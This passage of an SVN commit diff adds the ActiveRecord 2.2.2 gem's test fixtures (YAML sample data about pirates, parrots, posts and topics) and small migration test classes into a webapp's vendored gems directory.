+  member: groucho
+  favourite: true
+  type: Membership
+
+other_guys_membership:
+  joined_on: <%= 4.weeks.ago.to_s(:db) %>
+  club: boring_club
+  member: some_other_guy
+  favourite: false
+  type: CurrentMembership

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/minimalistics.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/minimalistics.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/minimalistics.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+first:
+  id: 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mixed_case_monkeys.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mixed_case_monkeys.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mixed_case_monkeys.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+first:
+  monkeyID: 1
+  fleaCount: 42
+second:
+  monkeyID: 2
+  fleaCount: 43

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mixins.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mixins.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/mixins.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+# Nested set mixins
+
+<% (1..10).each do |counter| %>  
+set_<%= counter %>:
+  id: <%= counter+3000 %>
+<% end %>
+
+# Big old set
+<%
+[[4001, 0, 1, 20],
+  [4002, 4001, 2, 7],
+  [4003, 4002, 3, 4],
+  [4004, 4002, 5, 6],
+  [4005, 4001, 14, 13],
+  [4006, 4005, 9, 10],
+  [4007, 4005, 11, 12],
+  [4008, 4001, 8, 19],
+  [4009, 4008, 15, 16],
+  [4010, 4008, 17, 18]].each do |set| %>
+tree_<%= set[0] %>:
+  id: <%= set[0]%>
+  parent_id: <%= set[1]%>
+  type: NestedSetWithStringScope
+  lft: <%= set[2]%>
+  rgt: <%= set[3]%>
+  root_id: 42
+
+<% end %>
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/movies.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/movies.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/movies.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+first:
+  movieid: 1
+  name: Terminator
+
+second:
+  movieid: 2
+  name: Gladiator

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/csv/accounts.csv
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/csv/accounts.csv	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/csv/accounts.csv	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/accounts.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/accounts.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/accounts.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/companies.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/companies.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/companies.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+# i wonder what will happen here

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/courses.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/courses.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml/courses.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+qwerty

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/organizations.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/organizations.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/organizations.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+nsa:
+  name: No Such Agency
+discordians:
+  name: Discordians
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/owners.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/owners.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/owners.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+blackbeard:
+  owner_id: 1
+  name: blackbeard
+
+ashley:
+  owner_id: 2
+  name: ashley

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/parrots.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/parrots.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/parrots.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+george:
+  name: "Curious George"
+  treasures: diamond, sapphire
+  parrot_sti_class: LiveParrot
+
+louis:
+  name: "King Louis"
+  treasures: [diamond, sapphire]
+  parrot_sti_class: LiveParrot
+
+frederick:
+  name: $LABEL
+  parrot_sti_class: LiveParrot
+
+polly:
+  id: 4
+  name: $LABEL
+  killer: blackbeard
+  treasures: sapphire, ruby
+  parrot_sti_class: DeadParrot
+
+DEFAULTS: &DEFAULTS
+  treasures: sapphire, ruby
+  parrot_sti_class: LiveParrot
+
+davey:
+  <<: *DEFAULTS

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/parrots_pirates.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/parrots_pirates.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/parrots_pirates.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+george_blackbeard:
+  parrot_id: <%= Fixtures.identify(:george) %>
+  pirate_id: <%= Fixtures.identify(:blackbeard) %>
+
+louis_blackbeard:
+  parrot_id: <%= Fixtures.identify(:louis) %>
+  pirate_id: <%= Fixtures.identify(:blackbeard) %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/people.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/people.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/people.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+michael:
+  id: 1
+  first_name: Michael
+david:
+  id: 2
+  first_name: David
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/pets.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/pets.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/pets.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+parrot:
+  pet_id: 1
+  name: parrot
+  owner_id: 1
+
+chew:
+  pet_id: 2
+  name: chew
+  owner_id: 2
+
+mochi:
+  pet_id: 3
+  name: mochi
+  owner_id: 2

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/pirates.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/pirates.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/pirates.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+blackbeard:
+  catchphrase: "Yar."
+  parrot: george
+
+redbeard:
+  catchphrase: "Avast!"
+  parrot: louis
+  created_on: <%= 2.weeks.ago.to_s(:db) %>
+  updated_on: <%= 2.weeks.ago.to_s(:db) %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/posts.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/posts.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/posts.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+welcome:
+  id: 1
+  author_id: 1
+  title: Welcome to the weblog
+  body: Such a lovely day
+  comments_count: 2
+  type: Post
+
+thinking:
+  id: 2
+  author_id: 1
+  title: So I was thinking
+  body: Like I hopefully always am
+  type: SpecialPost
+
+authorless:
+  id: 3
+  author_id: 0
+  title: I don't have any comments
+  body: I just don't want to
+  type: Post
+
+sti_comments:
+  id: 4
+  author_id: 1
+  title: sti comments
+  body: hello
+  type: Post
+
+sti_post_and_comments:
+  id: 5
+  author_id: 1
+  title: sti me
+  body: hello
+  type: StiPost
+
+sti_habtm:
+  id: 6
+  author_id: 1
+  title: habtm sti test
+  body: hello
+  type: Post
+
+eager_other:
+  id: 7
+  author_id: 2
+  title: eager loading with OR'd conditions
+  body: hello
+  type: Post

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/price_estimates.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/price_estimates.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/price_estimates.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+saphire_1:
+  price: 10
+  estimate_of: sapphire (Treasure)
+
+sapphire_2:
+  price: 20
+  estimate_of: sapphire (Treasure)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/projects.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/projects.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/projects.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+action_controller:
+  id: 2
+  name: Active Controller
+
+active_record:
+  id: 1
+  name: Active Record

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/readers.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/readers.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/readers.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+michael_welcome:
+  id: 1
+  post_id: 1
+  person_id: 1
+
+michael_authorless:
+  id: 2
+  post_id: 3
+  person_id: 1
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/references.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/references.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/references.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+michael_magician:
+  id: 1
+  person_id: 1
+  job_id: 3
+  favourite: false
+
+michael_unicyclist:
+  id: 2
+  person_id: 1
+  job_id: 1
+  favourite: true
+
+david_unicyclist:
+  id: 3
+  person_id: 2
+  job_id: 1
+  favourite: false

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/distinct.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/distinct.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/distinct.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+distinct1:
+  id: 1
+
+distinct2:
+  id: 2

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/distincts_selects.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/distincts_selects.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/distincts_selects.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+distincts_selects1:
+  distinct_id: 1
+  select_id: 1
+
+distincts_selects2:
+  distinct_id: 1
+  select_id: 2
+
+distincts_selects3:
+  distinct_id: 2
+  select_id: 3

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/group.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/group.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/group.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+group1:
+  id: 1
+  select_id: 1
+  order: x
+
+group2:
+  id: 2
+  select_id: 2
+  order: y
+
+group3:
+  id: 3
+  select_id: 2
+  order: z

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/select.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/select.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/select.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+select1:
+  id: 1
+
+select2:
+  id: 2
+
+select3:
+  id: 3

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/values.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/values.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words/values.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+values1:
+  id: 1
+  group_id: 2
+
+values2:
+  id: 2
+  group_id: 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/ships.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/ships.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/ships.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+black_pearl:
+  name: "Black Pearl"
+interceptor:
+  id: 2
+  name: "Interceptor"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/sponsors.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/sponsors.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/sponsors.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+moustache_club_sponsor_for_groucho:
+  sponsor_club: moustache_club
+  sponsorable: groucho (Member)
+boring_club_sponsor_for_groucho:
+  sponsor_club: boring_club
+  sponsorable: some_other_guy (Member)
+crazy_club_sponsor_for_groucho:
+  sponsor_club: crazy_club
+  sponsorable: some_other_guy (Member)
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/subscribers.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/subscribers.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/subscribers.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+first:
+  nick: alterself
+  name: Luke Holden
+
+second:
+  nick: webster132
+  name: David Heinemeier Hansson

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/subscriptions.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/subscriptions.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/subscriptions.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+webster_awdr:
+  id: 1
+  subscriber_id: webster132
+  book_id: 1
+webster_rfr:
+  id: 2
+  subscriber_id: webster132
+  book_id: 2
+alterself_awdr:
+  id: 3
+  subscriber_id: alterself
+  book_id: 3
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/taggings.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/taggings.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/taggings.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+welcome_general:
+  id: 1
+  tag_id: 1
+  super_tag_id: 2
+  taggable_id: 1
+  taggable_type: Post
+
+thinking_general:
+  id: 2
+  tag_id: 1
+  taggable_id: 2
+  taggable_type: Post
+
+fake: 
+  id: 3
+  tag_id: 1
+  taggable_id: 1
+  taggable_type: FakeModel
+
+godfather:
+  id: 4
+  tag_id: 1
+  taggable_id: 1
+  taggable_type: Item
+
+orphaned:
+  id: 5
+  tag_id: 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/tags.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/tags.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/tags.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+general:
+  id: 1
+  name: General
+  
+misc:
+  id: 2
+  name: Misc
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/tasks.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/tasks.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/tasks.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+first_task:
+  id: 1
+  starting: 2005-03-30t06:30:00.00+01:00
+  ending: 2005-03-30t08:30:00.00+01:00
+another_task:
+  id: 2

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/topics.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/topics.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/topics.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,42 @@
+first:
+  id: 1
+  title: The First Topic
+  author_name: David
+  author_email_address: david at loudthinking.com
+  written_on: 2003-07-16t15:28:11.2233+01:00
+  last_read: 2004-04-15
+  bonus_time: 2005-01-30t15:28:00.00+01:00
+  content: Have a nice day
+  approved: false
+  replies_count: 1
+
+second:
+  id: 2
+  title: The Second Topic of the day
+  author_name: Mary
+  written_on: 2004-07-15t15:28:00.0099+01:00
+  content: Have a nice day
+  approved: true
+  replies_count: 0
+  parent_id: 1
+  type: Reply
+
+third:
+  id: 3
+  title: The Third Topic of the day
+  author_name: Nick
+  written_on: 2005-07-15t15:28:00.0099+01:00
+  content: I'm a troll
+  approved: true
+  replies_count: 1
+
+fourth:
+  id: 4
+  title: The Fourth Topic of the day
+  author_name: Carl
+  written_on: 2006-07-15t15:28:00.0099+01:00
+  content: Why not?
+  approved: true
+  type: Reply
+  parent_id: 3
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/treasures.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/treasures.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/treasures.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+diamond:
+  name: $LABEL
+
+sapphire:
+  name: $LABEL
+  looter: redbeard (Pirate)
+
+ruby:
+  name: $LABEL
+  looter: louis (Parrot)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/vertices.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/vertices.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/vertices.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+<% (1..5).each do |id| %>
+vertex_<%= id %>:
+  id: <%= id %>
+<% end %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/warehouse-things.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/warehouse-things.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/warehouse-things.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+one:
+  id: 1
+  value: 1000
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/broken/100_migration_that_raises_exception.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/broken/100_migration_that_raises_exception.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/broken/100_migration_that_raises_exception.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+class MigrationThatRaisesException < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+    raise 'Something broke'
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/decimal/1_give_me_big_numbers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/decimal/1_give_me_big_numbers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/decimal/1_give_me_big_numbers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+class GiveMeBigNumbers < ActiveRecord::Migration
+  def self.up
+    create_table :big_numbers do |table|
+      table.column :bank_balance, :decimal, :precision => 10, :scale => 2
+      table.column :big_bank_balance, :decimal, :precision => 15, :scale => 2
+      table.column :world_population, :decimal, :precision => 10
+      table.column :my_house_population, :decimal, :precision => 2
+      table.column :value_of_e, :decimal
+    end
+  end
+
+  def self.down
+    drop_table :big_numbers
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/1_people_have_last_names.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/1_people_have_last_names.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/1_people_have_last_names.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/2_we_need_reminders.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/2_we_need_reminders.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/2_we_need_reminders.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class WeNeedReminders < ActiveRecord::Migration
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/3_foo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/3_foo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/3_foo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+class Foo < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/3_innocent_jointable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/3_innocent_jointable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate/3_innocent_jointable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+  def self.up
+    create_table("people_reminders", :id => false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names/20080507052938_chunky.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names/20080507052938_chunky.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names/20080507052938_chunky.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+class Chunky < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names/20080507053028_chunky.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names/20080507053028_chunky.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names/20080507053028_chunky.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
